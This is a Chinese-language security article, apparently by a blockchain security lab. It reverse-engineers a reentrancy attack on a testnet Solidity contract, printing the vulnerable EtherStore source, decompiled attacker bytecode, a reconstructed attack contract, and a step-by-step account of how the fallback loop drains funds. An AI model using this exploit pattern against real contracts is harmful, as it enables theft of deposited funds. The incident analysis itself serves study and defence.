LOADING...
LOADING...
LOADING...
当前位置: 玩币族首页 > 新闻观点 > 不一样的智能合约安全视角——solidity逆向

不一样的智能合约安全视角——solidity逆向

2021-09-07 知道创宇区块链安 来源:区块链网络

前言

近年来在区块链不断蓬勃、发展壮大的同时,区块链安全事件频频发生,黑客们的手法也在不断发生着变化,要想更加深入的了解各式各样的攻击背后的原理以及黑客攻击的逻辑,智能合约逆向工程必不可少。对此,知道创宇区块链安全实验室进行了研究分析。

通常我们所说的智能合约都是存在区块链上,可以被触发执行的一段程序代码,由于区块链上所有的数据都是公开透明的,所以合约的代码也应该是公开的。

但实际上它公开的却是经过编译的OPCODE,真正的源代码需要发布合约的人自己公开。当合约源代码没有被公开,而我们又想对其进行深刻的了解时,可以借助工具将OPCODE逆向成类似于逻辑代码的伪代码和字节码来辅助。

本篇文章主要涉及由 solidity 语言编写的智能合约逆向之伪代码分析。

安全事件逆向分析

为贴切现实,也便于理解,本文选择测试网络进行一次重入漏洞攻击复现的逆向分析,重入漏洞原理具体可参考文章【知道创宇区块链安全实验室|深入理解重入攻击漏洞】。

0x01 信息收集

漏洞合约 地址

https://ropsten.etherscan.io/address/0x8872be6d31f2ec0169e5e3e69e5cae8823d358af

漏洞合约 源码

//?SPDX-License-Identifier:?MITpragma?solidity?^0.4.17;contract?EtherStore{ ????uint256?public?withdrawaLimit?=?1?ether; ????mapping(address?=>?uint256)?public?lastWithdrawTime; ????mapping(address?=>?uint256)?public?balances; ???? ????function?depositFunds()?public?payable?{ ????????balances[msg.sender]?+=?msg.value; ????} ???? ????function?withdrawFunds?(uint256?_weiToWithdraw)?public?{//?该函数存在重入漏洞,具体原因是使用call函数转账,且call函数转账发生在合约状态更新之前????????require(balances[msg.sender]?>=?_weiToWithdraw); ????????require(_weiToWithdraw?<=?withdrawaLimit); ????????require(now?>=?lastWithdrawTime[msg.sender]?+?1?weeks); ????????require(msg.sender.call.value(_weiToWithdraw)()); ????????balances[msg.sender]?-=?_weiToWithdraw; ????????lastWithdrawTime[msg.sender]?=?now; ????}}

通过查看漏洞合约内部交易哈希 发现

可疑地址 0x2409fE8CCabe32F7AEbA8b34DA111A990b5A3E40与

交易哈希 0x80270b685344fc5005f4969ef6bd545a614cd6e2fc92b9508cfed5266368062f

查看交易哈希发现可疑地址在向漏洞合约发送 1eth 后,收到来自漏洞合约的转账 1eth 足足 5 次,

查看攻击合约地址 0x2409fE8CCabe32F7AEbA8b34DA111A990b5A3E40 发现该地址值调用过两个函数

结合 交易哈希 1eth 特征可以判断攻击合约就是通过 0x6289d385 函数发起进攻的,Collect Ether 函数应该是取款功能

攻击合约的 OPCODE

0x02 对 OPCODE 进行逆向分析

工欲善其事,必先利其器solidity智能合约逆向工具推荐:https://ethervm.io/decompile

https://contract-library.com/

https://github.com/crytic/ida-evm

https://github.com/comaeio/porosity

https://github.com/meyer9/ethdasm

这里我选择工具 https://ethervm.io/decompile

得到的 伪代码

contract?Contract?{ ????function?main()?{ ????????memory[0x40:0x60]?=?0x80; ???? ????????if?(msg.data.length?<?0x04)?{ ????????label_0057:

if?(address(storage[0x00]?&? 0xffffffffffffffffffffffffffffffffffffffff).balance?<=? 0x0de0b6b3a7640000)?{?stop();?} ???????? ????????????var?var0?=?storage[0x00]?&?0xffffffffffffffffffffffffffffffffffffffff; ????????????var?var1?=?0x155dd5ee; ????????????var?temp0?=?memory[0x40:0x60]; ????????????memory[temp0:temp0?+?0x20]?=?(var1?&?0xffffffff)?*?0x0100000000000000000000000000000000000000000000000000000000; ????????????var?temp1?=?temp0?+?0x04; ????????????memory[temp1:temp1?+?0x20]?=?0x0de0b6b3a7640000; ????????????var?var2?=?temp1?+?0x20; ????????????var?var3?=?0x00; ????????????var?var4?=?memory[0x40:0x60]; ????????????var?var5?=?var2?-?var4; ????????????var?var6?=?var4; ????????????var?var7?=?0x00; ????????????var?var8?=?var0; ????????????var?var9?=?!address(var8).code.length; ???????? ????????????if?(var9)?{?revert(memory[0x00:0x00]);?} ???????? ????????????var?temp2; ????????????temp2,?memory[var4:var4?+?var3]?=?address(var8).call.gas(msg.gas).value(var7)(memory[var6:var6?+?var5]); ????????????var3?=?!temp2; ???????? ????????????if?(!var3)?{?stop();?} ???????? ????????????var?temp3?=?returndata.length; ????????????memory[0x00:0x00?+?temp3]?=?returndata[0x00:0x00?+?temp3]; ????????????revert(memory[0x00:0x00?+?returndata.length]); ????????}?else?{ ????????????var0?=?msg.data[0x00:0x20]?/?0x0100000000000000000000000000000000000000000000000000000000?&?0xffffffff; ???????? ????????????if?(var0?==?0x6289d385)?{ ????????????????//?Dispatch?table?entry?for?0x6289d385?(unknown) ????????????????var1?=?0x015a; ????????????????func_01CA(); ????????????????stop(); ????????????}?else?if?(var0?==?0xacd2e6e5)?{ ????????????????//?Dispatch?table?entry?for?0xacd2e6e5?(unknown) ????????????????var1?=?msg.value; ???????????? ????????????????if?(var1)?{?revert(memory[0x00:0x00]);?} ???????????? ????????????????var1?=?0x0171; ????????????????var2?=?func_0339(); ????????????????var?temp4?=?memory[0x40:0x60]; ????????????????memory[temp4:temp4?+?0x20]?=?var2?&?0xffffffffffffffffffffffffffffffffffffffff; ????????????????var?temp5?=?memory[0x40:0x60]; ????????????????return?memory[temp5:temp5?+?(temp4?+?0x20)?-?temp5]; ????????????}?else?if?(var0?==?0xff11e1db)?{ ????????????????//?Dispatch?table?entry?for?collectEther() ????????????????var1?=?msg.value; ???????????? ????????????????if?(var1)?{?revert(memory[0x00:0x00]);?} ???????????? ????????????????var1?=?0x01c8; ????????????????collectEther(); ????????????????stop(); ????????????}?else?{?goto?label_0057;?} ????????} ????} ???? ????function?func_01CA()?{ ????????if?(msg.value?<?0x0de0b6b3a7640000)?{?revert(memory[0x00:0x00]);?} ???? ????????var?var0?=?storage[0x00]?&?0xffffffffffffffffffffffffffffffffffffffff; ????????var?var1?=?0xe2c41dbc; ????????var?var2?=?0x0de0b6b3a7640000; ????????var?temp0?=?memory[0x40:0x60]; ????????memory[temp0:temp0?+?0x20]?=?(var1?&?0xffffffff)?*?0x0100000000000000000000000000000000000000000000000000000000; ????????var?var3?=?temp0?+?0x04; ????????var?var4?=?0x00; ????????var?var5?=?memory[0x40:0x60]; ????????var?var6?=?var3?-?var5; ????????var?var7?=?var5; ????????var?var8?=?var2; ????????var?var9?=?var0; ????????var?var10?=?!address(var9).code.length; ???? ????????if?(var10)?{?revert(memory[0x00:0x00]);?} ???? ????????var?temp1; ????????temp1,?memory[var5:var5?+?var4]?=?address(var9).call.gas(msg.gas).value(var8)(memory[var7:var7?+?var6]); ????????var4?=?!temp1; ???? ????????if?(!var4)?{ ????????????var0?=?storage[0x00]?&?0xffffffffffffffffffffffffffffffffffffffff; ????????????var1?=?0x155dd5ee; ????????????var?temp2?=?memory[0x40:0x60]; ????????????memory[temp2:temp2?+?0x20]?=?(var1?&?0xffffffff)?*?0x0100000000000000000000000000000000000000000000000000000000; ????????????var?temp3?=?temp2?+?0x04; ????????????memory[temp3:temp3?+?0x20]?=?0x0de0b6b3a7640000; ????????????var2?=?temp3?+?0x20; ????????????var3?=?0x00; ????????????var4?=?memory[0x40:0x60]; ????????????var5?=?var2?-?var4; ????????????var6?=?var4; ????????????var7?=?0x00; ????????????var8?=?var0; ????????????var9?=?!address(var8).code.length; ???????? ????????????if?(var9)?{?revert(memory[0x00:0x00]);?} ???????? ????????????var?temp4; ????????????temp4,?memory[var4:var4?+?var3]?=?address(var8).call.gas(msg.gas).value(var7)(memory[var6:var6?+?var5]); ????????????var3?=?!temp4; ???????? ????????????if?(!var3)?{?return;?} ???????? ????????????var?temp5?=?returndata.length; ????????????memory[0x00:0x00?+?temp5]?=?returndata[0x00:0x00?+?temp5]; ????????????revert(memory[0x00:0x00?+?returndata.length]); ????????}?else?{ ????????????var?temp6?=?returndata.length; ????????????memory[0x00:0x00?+?temp6]?=?returndata[0x00:0x00?+?temp6]; ????????????revert(memory[0x00:0x00?+?returndata.length]); ????????} ????} ???? ????function?func_0339()?returns?(var?r0)?{?return?storage[0x00]?&?0xffffffffffffffffffffffffffffffffffffffff;?} ???? ????function?collectEther()?{ ????????var?temp0?=?address(address(this)).balance; ????????var?temp1?=?memory[0x40:0x60]; ????????var?temp2;

temp2,?memory[temp1:temp1?+?0x00]?=? address(msg.sender).call.gas(!temp0?*? 0x08fc).value(temp0)(memory[temp1:temp1?+?memory[0x40:0x60]?-?temp1]); ????????var?var0?=?!temp2; ???? ????????if?(!var0)?{?return;?} ???? ????????var?temp3?=?returndata.length; ????????memory[0x00:0x00?+?temp3]?=?returndata[0x00:0x00?+?temp3]; ????????revert(memory[0x00:0x00?+?returndata.length]); ????} }

先从主函数进行分析

开辟空间

memory[0x40:0x60]?=?0x80;

如果消息发送者携带消息长度小于0x04执行后面的内容,一般是回退函数

if?(msg.data.length?<?0x04){

地址余额小于等于 1eth 停止执行

if?(address(storage[0x00]?&?0xffffffffffffffffffffffffffffffffffffffff).balance?<=?0x0de0b6b3a7640000)?{?stop();?}

接下来一段主要设置后续操作需要的信息,主要内容有 地址、需要调用的函数签名、1eth值、地址空代码

var?var0?=?storage[0x00]?&?0xffffffffffffffffffffffffffffffffffffffff;//地址 ????????????var?var1?=?0x155dd5ee;//需要调用的函数签名 ????????????var?temp0?=?memory[0x40:0x60]; ????????????memory[temp0:temp0?+?0x20]?=?(var1?&?0xffffffff)?*?0x0100000000000000000000000000000000000000000000000000000000; ????????????var?temp1?=?temp0?+?0x04; ????????????memory[temp1:temp1?+?0x20]?=?0x0de0b6b3a7640000;//1eth值 ????????????var?var2?=?temp1?+?0x20; ????????????var?var3?=?0x00; ????????????var?var4?=?memory[0x40:0x60]; ????????????var?var5?=?var2?-?var4; ????????????var?var6?=?var4; ????????????var?var7?=?0x00; ????????????var?var8?=?var0; ????????????var?var9?=?!address(var8).code.length;//地址空代码

对地址是否为空代码的判断,如果是回滚初始状态

if?(var9)?{?revert(memory[0x00:0x00]);?}

向地址发送值为1eth的 0x155dd5ee 函数调用信息,并返回信息

var?temp2; ????????????temp2,?memory[var4:var4?+?var3]?=?address(var8).call.gas(msg.gas).value(var7)(memory[var6:var6?+?var5]); ????????????var3?=?!temp2; ???????? ????????????if?(!var3)?{?stop();?} ???????? ????????????var?temp3?=?returndata.length; ????????????memory[0x00:0x00?+?temp3]?=?returndata[0x00:0x00?+?temp3]; ????????????revert(memory[0x00:0x00?+?returndata.length]);

接收消息调用者携带的信息

else?{ ????????????var0?=?msg.data[0x00:0x20]?/?0x0100000000000000000000000000000000000000000000000000000000?&?0xffffffff;

后面的代码内容基本就是通过消息调用者携带的信息判断调用的函数,其中没有if (var1) { revert(memory[0x00:0x00]); } 的函数能接收以太币。

函数func_01CA()

消息调用者携带的金额价值小于 1eth 回滚初始状态

if?(msg.value?<?0x0de0b6b3a7640000)?{?revert(memory[0x00:0x00]);?}

接下来的代码与回退函数内容极其相似就是调用函数,从内容上看这次它调用了两个函数分别是0xe2c41dbc ?, 0x155dd5ee

在调用 0xe2c41dbc 函数的时候信息 value 1eth ?data 0

在调用 0x155dd5ee 函数的时候信息 value 0 ?data 1eth

最后返回调用信息。

函数func_0339()

返回地址信息

return?storage[0x00]?&?0xffffffffffffffffffffffffffffffffffffffff;

函数collectEther()

设置信息,该合约余额 、新空间

var?temp0?=?address(address(this)).balance; ????????var?temp1?=?memory[0x40:0x60];

向消息调用者发送该合约余额,注意这里对gas做了限制 (!temp0 * 0x08fc) 其实这里包括后面的代码就是transfer()的功能

temp2,?memory[temp1:temp1?+?0x00]?=? address(msg.sender).call.gas(!temp0?*? 0x08fc).value(temp0)(memory[temp1:temp1?+?memory[0x40:0x60]?-?temp1]); ????????var?var0?=?!temp2; ???? ????????if?(!var0)?{?return;?}

最后返回调用信息。

还原代码

其实我们可以通过 https://www.4byte.directory/ 在线查询 函数签名对应的函数名称,有助于我们理解函数。

contract?At{ ???? ????function?func_0339()?public?returns?(var?r0)?{?return?storage[0x00]?&?0xffffffffffffffffffffffffffffffffffffffff;?} ???? ????function?func_01CA()?public?payable{ ????????require(msg.value?>=?1?ether); ????????storage[0x00]?&?0xffffffffffffffffffffffffffffffffffffffff.depositFunds.value(1?ether)(); ????????storage[0x00]?&?0xffffffffffffffffffffffffffffffffffffffff.withdrawFunds(1?ether); ????} ???? ????function?collectEther()?public?{ ????????msg.sender.transfer(this.balance); ????} ???? ????function?()?payable?{ ????????if?(storage[0x00]?&?0xffffffffffffffffffffffffffffffffffffffff.balance?>?1?ether)?{ ????????????storage[0x00]?&?0xffffffffffffffffffffffffffffffffffffffff.withdrawFunds(1?eth); ????????} ????} }

storage[0x00] & 0xffffffffffffffffffffffffffffffffffffffff 其实等价于漏洞合约地址

0x8872bE6d31F2Ec0169e5E3E69e5CAe8823d358aF

0x03 综合分析

总结攻击流程

第一阶段黑客调用 func_01CA函数,

func_01CA函数作用:

1.向漏洞合约的 depositFunds函数发送 1eth

2.向漏洞合约的 withdrawFunds函数发出撤走 1eth 的请求

第二阶段当漏洞合约的 withdrawFunds函数 进入到发送金额的时候 由于使用的是 call 函数 转账,会附加"所有可用 gas",并触发攻击合约的 fallback函数

第三阶段当攻击合约的 fallback函数 被触发后,首先会对漏洞合约的余额进行判断,如果大于 1eth 就重新调用漏洞合约的 withdrawFunds函数 ,由于withdrawFunds函数最后两步才会减去msg.sender对应的余额并记录,导致fallback函数发起的调用withdrawFunds函数的信息require判断都能通过,直到漏洞合约的余额小于等于 1eth。

第四阶段黑客调用 collectEther函数 取走攻击合约余额。

总结

近年来,智能合约逆向不仅仅出现在区块链安全事件分析中,现在也出现在各个大型CTF比赛中的区块链攻防上。智能合约逆向能很好的帮助我们在一些未公开智能合约代码中找到它的运行逻辑,再辅助以交易哈希,就能从蛛丝马迹中找到我们想要的答案。

查看更多

—-

编译者/作者:知道创宇区块链安

玩币族申明:玩币族作为开放的资讯翻译/分享平台,所提供的所有资讯仅代表作者个人观点,与玩币族平台立场无关,且不构成任何投资理财建议。文章版权归原作者所有。

LOADING...
LOADING...